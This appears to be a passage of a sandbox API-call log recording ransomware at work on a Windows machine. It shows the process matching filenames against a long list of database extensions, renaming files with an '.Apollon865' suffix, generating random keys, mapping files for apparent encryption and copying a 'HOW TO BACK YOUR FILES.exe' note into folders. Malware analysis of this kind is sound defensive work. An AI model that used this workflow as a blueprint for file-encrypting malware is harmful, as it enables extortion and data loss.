	[0051.224] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0051.224] lstrlenW (lpString="adp") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0051.224] lstrlenW (lpString="alf") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0051.224] lstrlenW (lpString="ask") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0051.224] lstrlenW (lpString="btr") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0051.224] lstrlenW (lpString="cat") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0051.224] lstrlenW (lpString="cdb") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0051.224] lstrlenW (lpString="ckp") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0051.224] lstrlenW (lpString="cma") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0051.224] lstrlenW (lpString="cpd") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0051.224] lstrlenW (lpString="dacpac") returned 6
	[0051.224] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0051.224] lstrlenW (lpString="dad") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0051.224] lstrlenW (lpString="dadiagrams") returned 10
	[0051.224] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0051.224] lstrlenW (lpString="daschema") returned 8
	[0051.224] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0051.224] lstrlenW (lpString="db-journal") returned 10
	[0051.224] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0051.224] lstrlenW (lpString="db-shm") returned 6
	[0051.224] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0051.224] lstrlenW (lpString="db-wal") returned 6
	[0051.225] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0051.225] lstrlenW (lpString="dbc") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0051.225] lstrlenW (lpString="dbs") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0051.225] lstrlenW (lpString="dbt") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0051.225] lstrlenW (lpString="dbv") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0051.225] lstrlenW (lpString="dbx") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0051.225] lstrlenW (lpString="dcb") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0051.225] lstrlenW (lpString="dct") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0051.225] lstrlenW (lpString="dcx") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0051.225] lstrlenW (lpString="ddl") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0051.225] lstrlenW (lpString="dlis") returned 4
	[0051.225] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0051.225] lstrlenW (lpString="dp1") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0051.225] lstrlenW (lpString="dqy") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0051.225] lstrlenW (lpString="dsk") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0051.225] lstrlenW (lpString="dsn") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0051.225] lstrlenW (lpString="dtsx") returned 4
	[0051.225] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0051.225] lstrlenW (lpString="dxl") returned 3
	[0051.225] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0051.226] lstrlenW (lpString="eco") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0051.226] lstrlenW (lpString="ecx") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0051.226] lstrlenW (lpString="edb") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0051.226] lstrlenW (lpString="epim") returned 4
	[0051.226] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0051.226] lstrlenW (lpString="fcd") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0051.226] lstrlenW (lpString="fdb") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0051.226] lstrlenW (lpString="fic") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0051.226] lstrlenW (lpString="flexolibrary") returned 12
	[0051.226] lstrlenW (lpString="fm5") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0051.226] lstrlenW (lpString="fmp") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0051.226] lstrlenW (lpString="fmp12") returned 5
	[0051.226] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0051.226] lstrlenW (lpString="fmpsl") returned 5
	[0051.226] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0051.226] lstrlenW (lpString="fol") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0051.226] lstrlenW (lpString="fp3") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0051.226] lstrlenW (lpString="fp4") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0051.226] lstrlenW (lpString="fp5") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0051.226] lstrlenW (lpString="fp7") returned 3
	[0051.226] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0051.226] lstrlenW (lpString="fpt") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0051.227] lstrlenW (lpString="frm") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0051.227] lstrlenW (lpString="gdb") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.227] lstrlenW (lpString="gdb") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.227] lstrlenW (lpString="grdb") returned 4
	[0051.227] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0051.227] lstrlenW (lpString="gwi") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0051.227] lstrlenW (lpString="hdb") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0051.227] lstrlenW (lpString="his") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0051.227] lstrlenW (lpString="ib") returned 2
	[0051.227] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0051.227] lstrlenW (lpString="idb") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0051.227] lstrlenW (lpString="ihx") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0051.227] lstrlenW (lpString="itdb") returned 4
	[0051.227] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0051.227] lstrlenW (lpString="itw") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0051.227] lstrlenW (lpString="jet") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0051.227] lstrlenW (lpString="jtx") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0051.227] lstrlenW (lpString="kdb") returned 3
	[0051.227] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0051.227] lstrlenW (lpString="kexi") returned 4
	[0051.227] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0051.227] lstrlenW (lpString="kexic") returned 5
	[0051.228] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0051.228] lstrlenW (lpString="kexis") returned 5
	[0051.228] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0051.228] lstrlenW (lpString="lgc") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0051.228] lstrlenW (lpString="lwx") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0051.228] lstrlenW (lpString="maf") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0051.228] lstrlenW (lpString="maq") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0051.228] lstrlenW (lpString="mar") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0051.228] lstrlenW (lpString="marshal") returned 7
	[0051.228] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0051.228] lstrlenW (lpString="mas") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0051.228] lstrlenW (lpString="mav") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0051.228] lstrlenW (lpString="maw") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0051.228] lstrlenW (lpString="mdbhtml") returned 7
	[0051.228] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0051.228] lstrlenW (lpString="mdn") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0051.228] lstrlenW (lpString="mdt") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0051.228] lstrlenW (lpString="mfd") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0051.228] lstrlenW (lpString="mpd") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0051.228] lstrlenW (lpString="mrg") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0051.228] lstrlenW (lpString="mud") returned 3
	[0051.228] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0051.229] lstrlenW (lpString="mwb") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0051.229] lstrlenW (lpString="myd") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0051.229] lstrlenW (lpString="ndf") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0051.229] lstrlenW (lpString="nnt") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0051.229] lstrlenW (lpString="nrmlib") returned 6
	[0051.229] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0051.229] lstrlenW (lpString="ns2") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0051.229] lstrlenW (lpString="ns3") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0051.229] lstrlenW (lpString="ns4") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0051.229] lstrlenW (lpString="nsf") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0051.229] lstrlenW (lpString="nv") returned 2
	[0051.229] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0051.229] lstrlenW (lpString="nv2") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0051.229] lstrlenW (lpString="nwdb") returned 4
	[0051.229] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0051.229] lstrlenW (lpString="nyf") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0051.229] lstrlenW (lpString="odb") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.229] lstrlenW (lpString="odb") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.229] lstrlenW (lpString="oqy") returned 3
	[0051.229] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0051.230] lstrlenW (lpString="ora") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0051.230] lstrlenW (lpString="orx") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0051.230] lstrlenW (lpString="owc") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0051.230] lstrlenW (lpString="p96") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0051.230] lstrlenW (lpString="p97") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0051.230] lstrlenW (lpString="pan") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0051.230] lstrlenW (lpString="pdb") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0051.230] lstrlenW (lpString="pdm") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0051.230] lstrlenW (lpString="pnz") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0051.230] lstrlenW (lpString="qry") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0051.230] lstrlenW (lpString="qvd") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0051.230] lstrlenW (lpString="rbf") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0051.230] lstrlenW (lpString="rctd") returned 4
	[0051.230] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0051.230] lstrlenW (lpString="rod") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0051.230] lstrlenW (lpString="rodx") returned 4
	[0051.230] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0051.230] lstrlenW (lpString="rpd") returned 3
	[0051.230] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0051.230] lstrlenW (lpString="rsd") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0051.231] lstrlenW (lpString="sas7bdat") returned 8
	[0051.231] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0051.231] lstrlenW (lpString="sbf") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0051.231] lstrlenW (lpString="scx") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0051.231] lstrlenW (lpString="sdb") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0051.231] lstrlenW (lpString="sdc") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0051.231] lstrlenW (lpString="sdf") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0051.231] lstrlenW (lpString="sis") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0051.231] lstrlenW (lpString="spq") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0051.231] lstrlenW (lpString="te") returned 2
	[0051.231] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0051.231] lstrlenW (lpString="teacher") returned 7
	[0051.231] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0051.231] lstrlenW (lpString="tmd") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0051.231] lstrlenW (lpString="tps") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0051.231] lstrlenW (lpString="trc") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.231] lstrlenW (lpString="trc") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.231] lstrlenW (lpString="trm") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0051.231] lstrlenW (lpString="udb") returned 3
	[0051.231] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0051.232] lstrlenW (lpString="udl") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0051.232] lstrlenW (lpString="usr") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0051.232] lstrlenW (lpString="v12") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0051.232] lstrlenW (lpString="vis") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0051.232] lstrlenW (lpString="vpd") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0051.232] lstrlenW (lpString="vvv") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0051.232] lstrlenW (lpString="wdb") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0051.232] lstrlenW (lpString="wmdb") returned 4
	[0051.232] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0051.232] lstrlenW (lpString="wrk") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0051.232] lstrlenW (lpString="xdb") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0051.232] lstrlenW (lpString="xld") returned 3
	[0051.232] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0051.232] lstrlenW (lpString="xmlff") returned 5
	[0051.232] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0051.232] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Pictures\\desktop.ini.Apollon865") returned 48
	[0051.232] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\pictures\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0051.233] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\pictures\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.233] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0051.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0051.234] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0051.234] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.235] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0051.235] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x118
	[0051.297] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0051.340] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0051.341] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0051.341] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0051.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0051.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0051.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0051.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0051.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0051.342] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0051.342] CloseHandle (hObject=0x118) returned 1
	[0051.342] CloseHandle (hObject=0xc0) returned 1
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0051.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0051.342] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.343] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.343] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.343] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0051.343] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0051.343] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\NetHood", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0051.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca210 | out: hHeap=0x580000) returned 1
	[0051.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0051.343] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24
	[0051.343] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0051.343] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.343] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.343] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.344] GetLastError () returned 0x0
	[0051.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.344] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.344] CloseHandle (hObject=0x14c) returned 1
	[0051.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.344] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.344] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.344] GetLastError () returned 0x5
	[0051.344] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\NetHood\\* FindFirstFile error 5\r\n") returned 58
	[0051.344] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\NetHood\\* FindFirstFile error 5\r\n") returned 58
	[0051.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.344] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bfd
	[0051.344] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3a, lpOverlapped=0x0) returned 1
	[0051.344] CloseHandle (hObject=0x14c) returned 1
	[0051.345] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0051.345] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\My Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0051.345] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0051.345] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
